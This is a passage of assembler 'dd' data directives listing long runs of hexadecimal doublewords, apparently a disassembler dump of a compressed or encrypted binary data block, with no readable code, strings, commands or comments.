2EA91D41h, 1AC0012h dd 823ABEF8h, 0D5F02800h, 0A4FE91CFh, 369604DBh, 8051CE10h dd 6CD61608h, 0D71A4D03h, 0EB214C83h, 0E426F080h, 0DEC4C07Ah dd 0D32A8150h, 9A24B1Eh, 0BA46300h, 0C8B61F0h, 8A62F30Ch dd 750B3B10h, 1179C9h, 6AA440FCh, 66DE282Eh, 0C3B100CCh dd 5CB0E4B5h, 0F4EF8B51h, 103478Eh, 0A9F2150h, 532CC0BFh dd 848C2CBAh, 0F5070968h, 19A9C00h, 4A01C32Dh, 5C7F460Eh dd 206CB79Dh, 82107B84h, 48C0CE64h, 7C1660A3h, 0A800EE34h dd 86555049h, 8EF0CE52h, 90BA00F7h, 97E4EB3Dh, 0C9E84800h dd 0D7024E9Ch, 0DC92A2h, 1AD339A0h, 1CCE6781h, 0DA8834Eh dd 0C9588406h, 0A6061022h, 13033FEDh, 0CA800F0h, 0FE50A02h dd 9E002F5Ah, 2636B794h, 0FC4812h, 8E8D76D5h, 28099F9Ah dd 600FA52Dh, 6EB08Ch, 44C37C67h, 2BBE95B1h, 0BC277B00h dd 1F33472Eh, 0B08A0B34h, 0CF005967h, 2C44689Bh, 1D506D00h dd 800BAA47h, 1C460001h, 0B73EDF15h, 0FD2C7A0Dh, 2700B8A3h dd 605DDCCEh, 657F3D1Ch, 0C7F49B9Eh, 2489130Ch, 0F3458030h dd 2019D75h, 0E3E648EBh, 0C20722Ch, 7E170029h, 91F33D15h dd 0E04884C5h, 98007D88h, 0D6860A72h, 7ED19Ch, 95D7A8B1h dd 0C9A17AABh, 603C9800h, 7FBE82CFh, 801B4E25h, 0F9ECCA0Ch dd 7E47E200h, 2206952Fh, 0BD3C0019h, 0B2D242F6h, 0D609A443h dd 0F060A239h, 875F0034h, 55CEC0AEh, 8E0306EEh, 50037222h dd 77CDF1E5h, 9ABDF03Bh, 9E11B0A4h, 30CB781Ch, 0A21E24C4h dd 63C1BE8Eh, 4AB3BBF3h, 35C830h, 0C4F709ECh, 0D7E1029Eh dd 579C6F00h, 12AAE0FAh, 1CBE7483h, 0A7C4CEEDh, 18857400h dd 0E600E891h, 0DD82CC2Ch, 4CFE7C15h, 480B8C86h, 0CC878752h dd 4D25E053h, 2A026F50h, 6E6B4A60h, 76376164h, 3C1E7FE0h dd 280002D7h, 1059FADBh, 5A00F9E8h, 55FEE709h, 0FBD4D32h dd 237C8CBBh, 6F8B4BC1h, 276834F1h, 1731B014h, 889600DAh dd 5ED17DDCh, 0E0BC0FC2h, 77A0854Eh, 1155C30Fh, 63823B00h dd 862DAE9Dh, 0D8BD0479h, 80441493h, 95905B90h, 3CA5F305h dd 48EC4C50h, 0EFF07002h, 38D4111Ch, 0C0874E00h, 0BD02B16h dd 4C78BAACh, 3F004C50h, 2422B6DBh, 73BD792h, 341EE40Bh dd 0D6F3F0CAh, 0B400A25Bh, 0B3BE45A5h, 6D2090h, 0F2717AE1h dd 4CAB3254h, 0A704F41Ch, 4BD50EC1h, 10705B10h, 0F45579F9h dd 2357730h, 0B41B302h, 543FEAh, 0AE9E1501h, 4848378Ch dd 0D20B0C01h, 77B8E2DAh, 0FDA2B01Ah, 1C2C7CA0h, 1D7AC40Ch dd 4AF0A494h, 0A6C61603h, 306AC3Fh, 8158D139h, 59DE88A9h dd 848E9500h, 7551237Fh, 0EE7C0F55h, 0F2802560h, 0A4CBABBAh dd 9864472Ah, 1A3A9900h, 23373B08h, 2F141C35h, 0F848C20Fh dd 0FC7C364Fh, 30319F00h, 0F38590h, 284C3825h, 0A4688E9Ch dd 0B3518F19h, 0F1802304h, 8AB09DA0h, 901E271h, 56D77852h dd 242C4188h, 1DDB4CEh, 0E117E98Bh, 901ECBCAh, 0BA4CC027h dd 2D11F8h, 9EB98FA6h, 3CFA66A9h, 201F8A7h, 7409A34Ch dd 0E8AE8098h, 644C9BC9h, 0FDFF032Ch, 0CA8237EEh, 23E86085h dd 0F20A00D4h, 0C78C9D4Ah, 600C2248h, 59614CA1h, 70370C9Eh dd 7A116F44h, 0BA7CBBF8h, 380340A5h, 0E63DB8h, 0A4B0C678h dd 9D1189B1h, 0BBA94903h, 0F8A1E444h, 4ED53071h, 9C7044ABh dd 0E23CF087h, 0C44B107h, 0B920EBA1h, 0F5936Bh, 0DDD51F4Eh dd 5D87E9E0h, 3C1CBCh, 0AD831675h, 90438530h, 908BB794h dd 9410C078h, 721F840Dh, 10603F1Eh, 0BEAE8FD3h, 5FB0A500h dd 0CDC33711h, 287558FCh, 326E700h, 4AFA2A39h, 843C5D38h dd 0C4FE949Ch, 6DA04091h, 2DD0406Fh, 11213539h, 9001876h dd 0D512ED40h, 5D604E69h, 2B007C4Fh, 7484EC36h, 0F4009FDDh dd 0F2F8CE71h, 0A83D18F3h, 60B480A0h, 0FB193176h, 420006CFh dd 5E0A1A90h, 41F8838h, 0DE8FE483h, 62C1C38Ch, 6DBDA7D0h dd 0F43EA92Eh, 5922B880h, 0EF8217h, 0D367C424h, 6C47D9F7h dd 390B28EEh, 802CFD99h, 50F7178h, 0E1CF008Bh, 127D5041h dd 3B00EDDCh, 0B232BB94h, 908B9387h, 0C2360085h, 8D38C94Bh dd 0C4789165h, 460D800h, 0C5F26AEh, 0AF5B006Eh, 0B99F6786h dd 0A8005099h, 138568BCh, 19862h, 0E00933B7h, 3B5667BDh dd 0A78D6B09h, 1F260082h, 1DA37F6Ch, 0C1C3C2h, 0AD40A9BFh dd 0F25C23A1h, 5E007834h, 0A0D90322h, 16B31862h, 0E0736707h dd 19134A98h, 0D00001D3h, 0D5F05DCh, 82EA89E2h, 0FE032508h dd 0E854B7h, 14DDBABCh, 0E600C395h, 2DAA8C0Bh, 1F0423Bh dd 840EBEC5h, 7A43E27Ch, 1822E02Ah, 0B7669722h, 0BF4DB8A1h dd 0DDB440DAh, 0E2D48B3h, 0C390138Ah, 7A3E840h, 300305F9h dd 0ACD8B7E8h, 8B8111B0h, 53D9FA00h, 7691159Bh, 0B66E0F1Eh dd 75866CC0h, 591E4BF5h, 0BF1C5C7Dh, 0B02F81CCh, 6C36BC95h dd 0AA1D006Ch, 0ECEACBE2h, 4FDD00C2h, 4DA0A90Bh, 473D075Dh dd 29F80327h, 67A20Ah, 2F0D722Eh, 21FEE9C8h, 0DF07410Bh dd 378205Bh, 0A15D25h, 0F6928812h, 0DCD21E4Dh, 919ADB00h dd 665FA486h, 29141DEBh, 2E4A806Bh, 0CC8D3621h, 70C0855Eh dd 261A4C96h, 0C0E0A2BAh, 828B841h, 0EBC0DB03h, 0D057D1A6h dd 1F80EFh, 437F5A88h, 54459F23h, 40F8CD5Ah, 0D23EF500h dd 0B5F7F8A9h, 0A07E7B02h, 40F478B0h, 3708008h, 684CF2D4h dd 0E8C8E517h, 0C60EA3BCh, 20730EFFh, 0A19E3541h, 3FBF05CFh dd 400562E4h, 6C455380h, 0F007B9E7h, 0A8FB5ABh, 5496F02Ah dd 0AD8C4003h, 3D86F187h, 0F6F23864h, 0F0520945h, 10A05E1Dh dd 412E6E88h, 28AC264Ch, 0F298A172h, 2AB0FA04h, 0F880C71Ah dd 725DFh, 6771BD0Dh, 3C6AD416h, 7A709618h, 7290FE8h, 0E7F2740h dd 921B9599h, 12E22B30h, 0F067A862h, 2A030424h, 0AFC85F40h dd 0E3DAF0B0h, 65800708h, 33F3F6D3h, 0CEA007F8h, 66008A11h dd 0B292B490h, 0B182C84h, 0C0AC7F65h, 21894440h, 0E3006C71h dd 9927553Fh, 9A0169F9h, 45E4003Ch, 22A6CB56h, 68608B9Eh dd 1AD260D8h, 0D0731C7Bh, 0A2C3405Fh, 3D3177C5h, 21F5FC00h dd 0C4F0BACEh, 5EA10064h, 533EAE01h, 5DE82C11h, 0D119D600h dd 0BC5C69C0h, 0E8720041h, 6230EF45h, 817DD259h, 3824C339h dd 0FAD805DEh, 908DA2E6h, 5F2F087h, 0D00E24E7h, 5C7C5BB4h dd 0C8D8A43Ch, 4E1C0000h, 4561B12Bh, 0B4A12625h, 0D9A519AFh dd 900F0E97h, 4CC7E2EFh, 4715201Eh, 0F02466AAh, 651FC0B3h dd 408692h, 0D62DC6D0h, 0A77369h, 874B0292h, 0BCE6A418h dd 2F1640B0h, 887CEBA3h, 5FAE006Eh, 92F41B46h, 0D00647Ah dd 461D373h, 0E0502B7Ch, 7CBC6Ch, 3CB67D1Ch, 104BCC9h dd 4265D063h dd 6ED068C7h, 60D1B4B3h, 0CA81044h, 39023570h, 0D4102ECBh dd 0FF2C4843h, 98B5557Ch, 0AB10526Bh, 0DA208618h, 3F0100DBh dd 0E5C99F37h, 0B754CAD7h, 2C98978Ch, 0FC64A851h, 25E0D942h dd 67FC7700h, 0A70E9EC8h, 9F6105A4h, 0C0602AC5h, 0BD8835A1h dd 7084DF0Fh, 97C38086h, 1EF02379h, 92AC96A7h, 31E8001Bh dd 9AC441D4h, 0A2E96000h, 5872A4C2h, 0FEC700ECh, 0B3840FACh dd 5DFA81D5h, 7D4DEB00h, 0FA47A62Ch, 0F57238EDh, 0C9E1A780h dd 22DE03F8h, 6A336500h, 8ADAA3CAh, 6080BFC2h, 0EF2898A6h dd 8B89363Bh, 80C6CF25h, 3CF28CE2h, 0DDAD0701h, 0B0F03847h dd 0F54A0D9Eh, 0B6198102h, 57F7B179h, 37091400h, 0C939F416h dd 0C7DC8012h, 0DFF8D9B0h, 0AA9B244Fh, 0EDEC0062h, 7805E4E5h dd 13001D73h, 979883E1h, 1AFEBDEh, 3404DB8Eh, 61E212E5h dd 0D6A1CC80h, 970A3320h, 0D164001Dh, 0A0E1DA70h, 53EE070Eh dd 49E6009Fh, 4935F8A4h, 0BD7B7431h, 0CE050C03h, 0AFBE3898h dd 859BC102h, 0E8417FC3h, 12F66Ch, 7654022Bh, 4C4F2581h dd 15145CB0h, 1C9FC2E4h, 0B4A6588Eh, 0A4011A96h, 0D099D8EDh dd 0BF6E70h, 0BEA5997h, 0F230FEB2h, 6058B16Fh, 0BA88AE7Dh dd 79DC7C4Ah, 73182F71h, 9419080h, 0E001C593h, 35C89215h dd 0C070441Fh, 48E60031h, 868F257Ah, 0C92E4E21h, 0A01C667h dd 53F5936Ah, 52501D2Fh, 638C051Bh, 3F0F9E3h, 537ED827h dd 0B2A0D88Ah, 0AD6A004Eh, 55CF8E89h, 1107521Bh, 0D45B142Eh dd 5004DA7Bh, 0B8278740h, 948D02F2h, 88AAC0DDh, 0AEC97CEBh dd 2EE2D87Eh, 9C044098h, 0A8C95045h, 9112E8CAh, 0A020C0EDh dd 2816306Ah, 0C5006F55h, 0CB16C4EEh, 59642F0Eh, 0A81805h dd 0CAF21394h, 0EB006AE0h, 0E19690FDh, 57C8EB7h, 0C78ADE99h dd 7AB08848h, 0F44A8C01h, 3532A4BCh, 2D0A8080h, 0A7C95E3Fh dd 0B6219E02h, 0A5957C8Fh, 0D88326D8h, 0E749E07Ah, 0E6E32AC9h dd 6B8C01FCh, 0FF04EB3Ah, 96906340h, 0EB552080h, 524F07B9h dd 7929BFh, 9711CDE3h, 0C29AE404h, 90E8EF3Fh, 0A524C182h dd 7309A4D6h, 0DEF880A7h, 1DDF02F7h, 0C0F4F57Eh, 0D423254h dd 0EF5438C7h, 4A019A3Ch, 5D3DD2A6h, 0A068E3FEh, 0E8C94518h dd 0FC002B14h, 29C01710h, 2BA87B1h, 92B0B737h, 0CCC2AE74h dd 0C9E7059h, 8AB000E1h, 0E3B2BA35h, 0EF577B00h, 70E5E8A3h dd 9061006Fh, 38F9ACD2h, 87172386h, 40896DDh, 40D861D0h dd 0F6382026h, 0C43E1526h, 6C8C4B80h, 55218DC8h, 30DCAC23h dd 90CE6AFEh, 42FB4110h, 0DE4342Ch, 10CC48AAh, 0FB0BB303h dd 0F02D23D5h, 181D2B4Ah, 794184E6h, 3100A0FFh, 8846672Ch dd 54FD7FDh, 1134EDDDh, 3EB80B29h, 89CF6882h, 0C9F7A8A6h dd 3E016542h, 0C3EF62EEh, 680ADCE7h, 0C0E495Fh, 7520E085h dd 0AD0F77h, 510B4763h, 6D436A68h, 0DD545C1Eh, 0E0FE8FCEh dd 0EAFBA0C6h, 0B6F9132Fh, 0C04C1EE5h, 5817DC91h, 5400B17Eh dd 102AABA5h, 5A76866h, 62740220h, 9D57C352h, 9BABBAD8h dd 0EF3D091Fh, 0C145825h, 59697754h, 0D8004011h, 7681E132h dd 7A82F4F7h, 8D651EAFh, 56C38AA6h, 38B096A8h, 64404A8Ch dd 0D0A0B79Eh, 71DB8F4Dh, 80CD0F28h, 46F2058h, 0C8B68DAFh dd 0B7D400BBh, 42221E38h, 0CD6AF600h, 0FD32F1F7h, 257E0273h dd 53197DBAh, 86299468h, 0DE648000h, 9F17A734h, 0E6C10F9Eh dd 0B341D4B9h, 401DA837h, 881231DCh, 34E7AF00h, 0E4174114h dd 800BFC6h, 0A525BA9Eh, 0D1921900h, 0AD479ABBh, 0AB0C0A3h dd 451F4CCAh, 7960E300h, 6B17781Bh, 6FBF07F7h, 2F026AC6h dd 0DD8433C3h, 73007A7Ch, 9EC16E35h, 24473EDAh, 3E0D7763h dd 460FC787h, 6EE6B0F6h, 0A51C946Fh, 3AAC5E76h, 9CD0FC05h dd 930008ACh, 9407E2C7h, 0C00E5C2h, 1FEAAF91h, 22EAB8Ah dd 36B3A224h, 74D4BF20h, 9B68A104h, 9A0030E2h, 95BDA749h dd 7D3B0E72h, 237C02FEh, 744B8B28h, 0A01B80ECh, 70293F5Bh dd 2250A0B5h, 3D029B61h, 0D3808104h, 41A4604Fh, 1449AE16h dd 0A08901E8h, 0A9AF80ADh, 3FEE7424h, 0C70A2679h, 380F6F4h dd 80F7238h, 0C8E4A8E8h, 4C7AFB1Fh, 0E6ED0780h, 0E054A97Ch dd 82EC9Bh, 7519DC35h, 0CEBE9874h, 0CBD8BA01h, 5B4E460Ah dd 1F961180h, 2A60F9ECh, 56949E01h, 3CDD9B2Ch, 0C0A8870h dd 0E4803BEDh, 0DB0066A0h, 2B85345h, 4B7A0D3h, 0E7048382h dd 0D557C04Eh, 3100A4DAh, 0FB4FE06Bh, 8DF00Eh, 4A155F8Eh dd 0D8DD6D71h, 790087EAh, 2A806A3Dh, 4B81890Eh, 4040B529h dd 957A9644h, 861C94B0h, 0FE7F624Eh, 89209801h, 2C273DB0h dd 216C003Ah, 0D87F2BA3h, 9C95FF01h, 0D6D2E014h, 0B790C34h dd 0F2DA099Eh, 0F4B19C80h, 7D00D1C1h, 517960Dh, 0B069EB45h dd 4FA91EDCh, 5481004Bh, 1FBE5329h, 209BB300h, 43A6CDDFh dd 0E38B255Dh, 3E7C51h, 3C164037h, 94C49Dh, 0FED3E7F9h dd 4C773AD8h, 0AA7D8700h, 0D7F7A1AEh, 0E9E0017h, 0CF718FC0h dd 0C001FDCh, 61F2466Fh, 0DF7282h, 60DA049Dh, 4210E50Dh dd 96941200h, 3B58093Ch, 86F630DBh, 45A40D29h, 3978C102h dd 405B7AF0h, 25693C19h, 8A0A67Fh, 0CFDDFE5Ah, 725280h dd 9A362EAAh, 9948BED1h, 0A1D18B6h, 0B176A1Dh, 8A5C800h dd 29AB137h, 9EB53322h, 7B43DB1Ah, 3B1DE6D8h, 21D01904h dd 0B0B8F153h, 6DD1F200h, 969AED57h, 0BF541312h, 0CBC0880Eh dd 2AE8F893h, 7DC8514Fh, 8EDB1D06h, 32F0698h, 781319C4h dd 7442B066h, 5FF6DD05h, 8AB77400h, 0BD274E0Ah, 1E404064h dd 0CC0301F8h, 0C2E9EFD0h, 56DBFC26h, 72505312h, 0BA126CBCh dd 48BCA82Ch, 0CBE00B48h, 52F4E03Ch, 96E300EEh, 8CCDEC4Ch dd 6E1DE735h, 88003B25h, 6FE53D27h, 0FE543070h, 0F9AF4D70h dd 23F73313h, 389CDC07h, 0AE509D0h, 889F5DA8h, 87E16209h dd 0BBD5D820h, 230B33D1h, 0A0210835h, 18E071D0h, 0DD03D57h dd 6BBF49Ch, 0C1CCD9FFh, 76306C04h, 0DA045F92h, 9C53BA89h dd 9AB4A0h, 0B032C594h, 0AA38C38Eh, 2EAD8C03h, 0C8CE8A97h dd 0E88799h, 0CF859BC5h, 0D69EB68Eh, 4FAB9501h, 24575559h dd 0D8FCC080h, 9AC4F05Eh, 0AEC32A00h, 0A09E22A7h, 53C4A026h dd 18A79B1h, 5B3F9BD4h, 40372DC8h, 0A9D1BBCh, 0ECC9E302h dd 1E5A82Eh, 0E1617C3Dh, 0F6760060h, 7A6D014Ch, 816C63F7h dd 8671F4EEh, 1F5B0400h, 2130FE8Ch, 2BF30F8Ah, 4302E9C2h dd 7842EBC4h, 0AA2C2675h, 151C0C10h, 60B999A9h, 0E60A842Dh dd 0D90B07B0h, 0C92421D1h, 0CA619810h, 17561E01h, 5DEFC83Fh dd 9A12342Dh, 2D710B9Dh, 42DF8480h, 0CD0777AEh, 4F1C6E5h dd 0B3194A20h, 84BE5072h, 3C8B2708h, 0EFD838C8h, 0DB00E1E2h dd 8E8AE705h, 0A0BDAF69h, 0B8C7B5C7h, 97531190h, 3E3C0B92h dd 3AAB0577h, 0FD554890h, 707A0375h, 0FF4BF1FCh, 64C43100h dd 0D51A11E2h, 0A5170E9Bh, 6A2494BCh, 809BC0BAh, 3E006C76h dd 91092503h, 66B2C8h, 0F1D3717Fh, 0F4D0774Dh, 5A5E5000h dd 0C6758B1Eh, 0DED500A6h, 15D7E5F3h, 9A3ABAD9h, 0D25F073Bh dd 1C91ED0Eh, 0FEEA9CCCh, 0B0031600h, 0A19F0100h, 0F55E82D4h dd 187288C4h, 850F1D1h, 770529EDh, 69812632h, 6D0308ACh dd 844E0B2Bh, 0B35512D8h, 2F58DA0Bh, 0A49C81C9h, 686DDB3Ch dd 0D81A4980h, 0B60FF3E9h, 57C23B4Ah, 0A14838C0h, 90BD270Ch dd 674BB4C0h, 10594Dh dd 95D3EB0Eh, 0B0473A16h, 8FF70280h, 93C19068h, 14F4E8C0h dd 0D8B83D0Eh, 0A191676Fh, 94B13FA0h, 2BBF0529h, 0E89B9C0Eh dd 0B2501DF4h, 10A2284Bh, 5C25F9BCh, 3C0000C1h, 1549E2EAh dd 0CA00FBEDh, 50EB4CF3h, 0F28797Eh, 9101E948h, 0F5AF0D01h dd 0E0056F2Bh, 74803A26h, 72F09EBh, 4B395A58h, 1C305063h dd 0E800F8DDh, 3E458755h, 3D08928Bh, 94E0CA01h, 7846F4F1h dd 200B0B1h, 0AF26095Eh, 2DD80230h, 3FDEB365h, 0E7CDA498h dd 6B534C00h, 0FB549D60h, 0C02AEF47h, 0B4B5F760h, 8C69100h dd 81383759h, 76851C4Ah, 53E9039Fh, 278A931Fh, 0DE3AAC80h dd 69018BF5h, 0A2129ADCh, 24C44205h, 0B9450914h, 9C801AB1h dd 202187ACh, 1A0B348h, 2AD827D5h, 1089B743h, 40220584h dd 0D45230FAh, 972A020h, 75CB71B9h, 548A0F01h, 0E8012EDFh dd 0A091AD6Ch, 5138413Fh, 0FC0FE730h, 0E800F7A5h, 7669585Ch dd 48329493h, 75009DF6h, 6DF9EECCh, 0A800B7E4h, 46DFF07Bh dd 95A392C6h, 0AA4B2040h, 0D1F2D4BAh, 0AC587100h, 0F27D6EC8h dd 796A18CCh, 935508FAh, 0EEC7CD00h, 0EACBDFA7h, 0E4E300ABh dd 0DBDEF4F3h, 909FD9Ah, 2355E053h, 0C0B24C68h, 54EBDC1Bh dd 3D47C848h, 0E72C7221h, 0FB3A02E8h, 0C8F123A9h, 2E1709h dd 36134558h, 0D8240029h, 381125C9h, 649DA46Bh, 0FDC214F8h dd 9000801Eh, 123D4804h, 101229DDh, 8C2AFFCh, 596640D7h dd 3F270708h, 5043826Ch, 183206DBh, 5C48C49h, 0D92D7FAAh dd 86EF4881h, 6D6C64h, 0FCC75872h, 90221940h, 6068A72Ch dd 2FAE5C00h, 1F9CFF3h, 830BBC0h, 2FA70BF6h, 20F4C6h, 8C158786h dd 417683A8h, 0C96E0A00h, 0E6D8E9C1h, 0C5B61C72h, 0A988C034h dd 83EC4445h, 2792400h, 2C198212h, 5CD938E3h, 0C01C9Dh dd 4BE5ACB9h, 0E5E574Eh, 1656D400h, 0F5A0D2Dh, 610C4417h dd 661141A0h, 0F0C73A24h, 6A93101Eh, 4962F813h, 6423051Fh dd 0F821314Bh, 4A22192Ch, 86AFB10h, 63801FFCh, 0FE5BA82Ah dd 5AA72AD4h, 0EB490F8Ch, 30C9FA05h, 0CC74D4C8h, 0A26BB4A8h dd 20E0A74Ah, 70D40B47h, 0E8830460h, 0C0F866F8h, 84098A89h dd 82CF4873h, 401809E0h, 1263BEACh, 0E062CDh, 0DE6D1990h dd 8426FD49h, 0D703141Dh, 0D8BFFF75h, 44A9D38h, 0C9F8182Ah dd 5E008045h, 83751DD0h, 44CAD740h, 0BA17B535h, 0F8E0CCABh dd 78EB0087h, 0F1AABEDCh, 7407DAE4h, 0C1DDCE97h, 0C74ABBB0h dd 1D500073h, 77E1F368h, 6003F23h, 0FBCFDD55h, 9EF1471Eh dd 0A8CD9368h, 88B98534h, 57FF4A80h, 0B91E419h, 87973D39h dd 0DA3E48C0h, 0C1C24C00h, 0E0A7076Dh, 18440C82h, 3CE06997h dd 0CD9EDC00h, 0D495D57Ah, 2A2400BEh, 1BE5621Dh, 5E4B1993h dd 1583F8B4h, 0C0AAAE81h, 944F426h, 0F4A818D9h, 80A41DFDh dd 0E4CC3FC6h, 4A01890Bh, 0D6FD2531h, 8230731Dh, 66AB1F08h dd 2A068D9h, 316B20ACh, 0D802C535h, 7D032242h, 8B00A872h dd 0E85F1301h, 4CB849AAh, 92075044h, 0B1054396h, 40F070EBh dd 3537BFC4h, 1774883Fh, 391F08ADh, 0D1633300h, 5BA32E7h dd 151E94A0h, 0AF80030h, 709A0C1Fh, 0B55A9F00h, 6AA40F78h dd 5457277Fh, 864F0040h, 4C005690h, 419C169h, 0B6A86Ch dd 28DAB9BDh, 0C59FD498h, 74B06B54h, 79EFF3Ch, 0F4EBDE8Fh dd 2AFDFA70h, 0F23FE88h, 99A48762h, 0F8D947A0h, 37F24933h dd 31BEB609h, 0FA8DEB9h, 0B7209DC7h, 5B9AAA90h, 7BED5309h dd 49002147h, 5660DAF0h, 9D92F046h, 0C0D00C65h, 207A7ECBh dd 0D5266010h, 13E5DE1h, 0D123EA65h, 0F1E024F7h, 0C6CA07FAh dd 8C5AE530h, 0E831AE99h, 0BFCD395Fh, 8700C33Ah, 7CA0BEA3h dd 2CA00EAEh, 1CA084E3h, 420E99C8h, 80F9C6CFh, 640FE9C9h dd 5425005Bh, 98AB0296h, 3801E13Ah, 0FF59E53Eh, 7EC057CEh dd 3EBFEA1Ch, 5E005A82h, 0E4265825h, 13004CAEh, 0E3A7DBD5h dd 2418AC7Eh, 24A3C54Dh, 0B5DD00DDh, 0F10B2112h, 4457E328h dd 7E8C5107h, 0CCB7C6C8h, 0F8BB4741h, 0F9B0C22Bh, 17B75038h dd 0C828C7Dh, 5219CF40h, 0C897A209h, 1EB05E01h, 4C0F6094h dd 0C33AD622h, 0C055588Fh, 447ED5h, 0F7549173h, 419DEC7Ah dd 749FD203h, 0F801E0CFh, 0ED8C914h, 372311E1h, 8640426Fh dd 4BD0B3F6h, 0FA5B7307h, 4EC03631h, 1B6029h, 784F6952h dd 3D327204h, 0DCF9840Ch, 0D64A0Eh, 4696027Bh, 1D567915h dd 522DB615h, 247000C8h, 0F85D4D26h, 0A0EE006Ch, 0CF0F1438h dd 4A064B17h, 0CDE63254h, 208602E9h, 0BCD7F322h, 38F072E2h dd 8113E4F9h, 4126CF00h, 0CB27F970h, 54500571h, 768B4A2h dd 8061D3B4h, 0EC8E6F95h, 0CE815360h, 21CB60h, 7A839225h dd 0C1F2C5EAh, 0DFC7C002h, 57FC03BEh, 3DBC68A0h, 0AE30A506h dd 0C9AF91D2h, 0A0301D6Bh, 0C5560E50h, 0B8EE2100h, 0DF5866E3h dd 40960677h, 716351h, 543950E6h, 8A342A5h, 0D3500F64h dd 156F8B40h, 0D10F1EE6h, 808A7FD6h, 55A33B1Dh, 89446716h dd 7EA2C161h, 0B8118013h, 0E1621188h, 0DB9C006Ch, 0E335B541h dd 9201D8F7h, 0CCE7AABAh, 62D0C4EAh, 0C74C3CC8h, 0D7AE7200h dd 0D5300EBBh, 971A560Ch, 304050D6h, 55B14B88h, 69C04215h dd 0B74B4F7h, 2BD40282h, 3CDD476Dh, 51277FE0h, 3963E609h dd 22640014h, 3018B403h, 0F8296058h, 211E7CBAh, 5C8F5AADh dd 2E7A41F5h, 2080DA2Bh, 656403A7h, 1B0ED6ADh, 9FFE4541h dd 23090FBBh, 6FF60E27h, 3C11C0B2h, 0E80E0C61h, 4308C089h dd 85716F5Ah, 3056B237h, 4B900F47h, 0E0EF0839h, 6B2D00D8h dd 651E9DBBh, 1A07DA6Dh, 0E51B7B45h, 108436h, 0D5AC674Dh dd 0F8D7F022h, 573BE606h, 902EADh, 844DCF49h, 0DD3FAB55h dd 0DE00DC7Dh, 4772A80Ah, 6F4880B2h, 0E100C818h, 8755D010h dd 1E4E3B00h, 2716D1C8h, 0CF19183Ch, 7113F11Dh, 96A54C00h dd 0A367245Ch, 0EFD802E8h, 522528ABh, 0C9064C62h, 0CE3030CDh dd 4661391Fh, 4BBF00B4h, 76EF8503h, 0A103690Ch, 0B155C327h dd 3728061Ah, 90DA9322h, 450377F0h, 0CF846460h, 0DB490020h dd 48261819h, 0FD099F38h, 221C77h, 568B6BFBh, 3F943FE7h dd 0B830F081h, 8068BA33h, 5C66C348h, 0F95E6Dh, 0EFC74D56h dd 2CF0D074h, 4A69903h, 0C0D516h, 5C3FDD78h, 0B3FB7DB2h dd 9AEBC502h, 0E0D5C7D3h, 77D2C61Eh, 72E80E83h, 0B300B2F9h dd 0AAF02314h, 3A7F2B06h, 49C6D4h, 95057370h, 0CCD0B274h dd 82E42F01h, 45482BB9h, 8B142420h, 0C4A013BAh, 0F6B3FD1Eh dd 0D37C3900h, 4E951D7Fh, 21766F48h, 73EC67C0h, 0E677A08Ch dd 98E9DE2Ah, 458ECD00h, 0E2FF0149h, 0A00E00BFh, 412934D3h dd 0B906EBE6h, 0DEB248FAh, 7D9831h, 0B5791EBBh, 19019382h dd 0DD9A130Fh, 0DE7041AEh, 53D07C22h, 492B0181h, 262590A5h dd 0D7DAD192h, 24018DF0h, 3B96BF3Eh, 191FFC1Ah, 260FC120h dd 61A28F73h, 0D6A01D61h, 285D1080h, 2D47C2Bh, 0C9566600h dd 886E7D50h, 912203D6h, 0C3496D8Bh, 0BB1D2BA8h, 7258D3Ch dd 19295B93h, 0BB8E5C77h, 8E300708h, 0C7246B5Dh, 72494093h dd 1F00DA8Ch, 2002C6C9h, 0AA7ADF8Fh, 77043D64h, 4AA825C1h dd 79881081h, 0D2AF2415h, 0C4A0C207h, 0C2E27B8h, 363FE24Dh dd 7D670608h, 0C4506B20h, 33D621Fh, 3AFA534h, 9BA0BBE1h dd 0AA002D5Ah, 0D5EFB53h, 0ADE08773h, 0B4346030h, 8B0010F2h dd 465C56B2h dd 22982D9h, 7F76E020h, 0E8BD61h, 0AE07F8DAh, 8654B5B4h dd 48F5B180h, 0C31080DDh, 79AB3300h, 2B3ACE7h, 495A00A6h dd 0D52D6721h, 2FF8E52Ah, 0C6E6908h, 111C8079h, 2DCFB7A1h dd 0FAC08118h, 0C0691E09h, 0A1393C20h, 9100ED5Bh, 20796102h dd 2F04D59h, 4C1FDE76h, 0B4A0E601h, 7B6E1BC5h, 6D080C1h dd 0A881B45Fh, 0A10526A4h, 7E2980E2h, 0C30AB5B9h, 6D150C6Ah dd 7608805Dh, 1D202460h, 78B5D1h, 0B017097Ah, 6D027BDCh dd 2AA658C5h, 40978C33h, 8C40BCC9h, 95C4E104h, 0C3633627h dd 0A002179h, 0D311BC4h, 22CAEAh, 2EA35FFEh, 0F0F6FCDAh dd 27E84C50h, 547ECB00h, 52153ABh, 2E20E829h, 45C8ACEAh dd 23A82F32h, 9324001Fh, 493321D7h, 0A034C51Ch, 0A8D8FC80h dd 60DC9A9Eh, 94BC70A9h, 6CA41779h, 0BE11C4FCh, 584FE27h dd 0E469007Dh, 0DAC7C4h, 241D0708h, 4442CE4Bh, 0A07CD328h dd 8C86B224h, 1C477892h, 61CC9670h, 0D6D30029h, 7B53B4CAh dd 8305589Eh, 52F0D06Fh, 0D3318801h, 20878E6Eh, 20927C1Ah dd 518FB06Fh, 28BB2D80h, 7F987A36h, 38AE4870h, 327CDF06h dd 60A0807Eh, 0DD80B260h, 284E155Eh, 0A41DFC5Ch, 6AD50621h dd 0BE0520ACh, 0BAF2D088h, 623843Ah, 0B3B2A900h, 748E6BBh dd 9CED45F7h, 0A055A603h, 80E9992Ah, 0FCE42F07h, 6510E36Eh dd 0C8A4F0Dh, 0BFF59A9Ch, 4B540771h, 98F4C2F0h, 75FDE400h dd 9A033BF7h, 375B004Fh, 0F0E582A7h, 0E0016FFCh, 2BC46972h dd 0F8A0B41Fh, 0EB72484h, 0A1106014h, 0F521D286h, 720917Fh dd 0EBA1180Fh, 3E090360h, 52BE07FBh, 3C35B7DCh, 0BDEE1AB8h dd 0E884B22Ah, 0EDBB5000h, 0E2B7FAE0h, 94014976h, 43214A30h dd 3598EF72h, 5B0E8F00h, 0CFA023E9h, 0CD9201D6h, 43C58651h dd 0DAB424A3h, 0E200847Ch, 7496FA16h, 5E08867h, 2E9AEE8Ch dd 0A99C0023h, 0D76F3F52h, 4F4A4800h, 801D3C8Dh, 0E4D901D2h dd 156EE26Ah, 0FAE4404Dh, 61749890h, 34EDBC00h, 36BD6676h dd 0A18560AFh, 3CCDA906h, 4C5F78B5h, 230087FCh, 0BA2C4076h dd 29C053AFh, 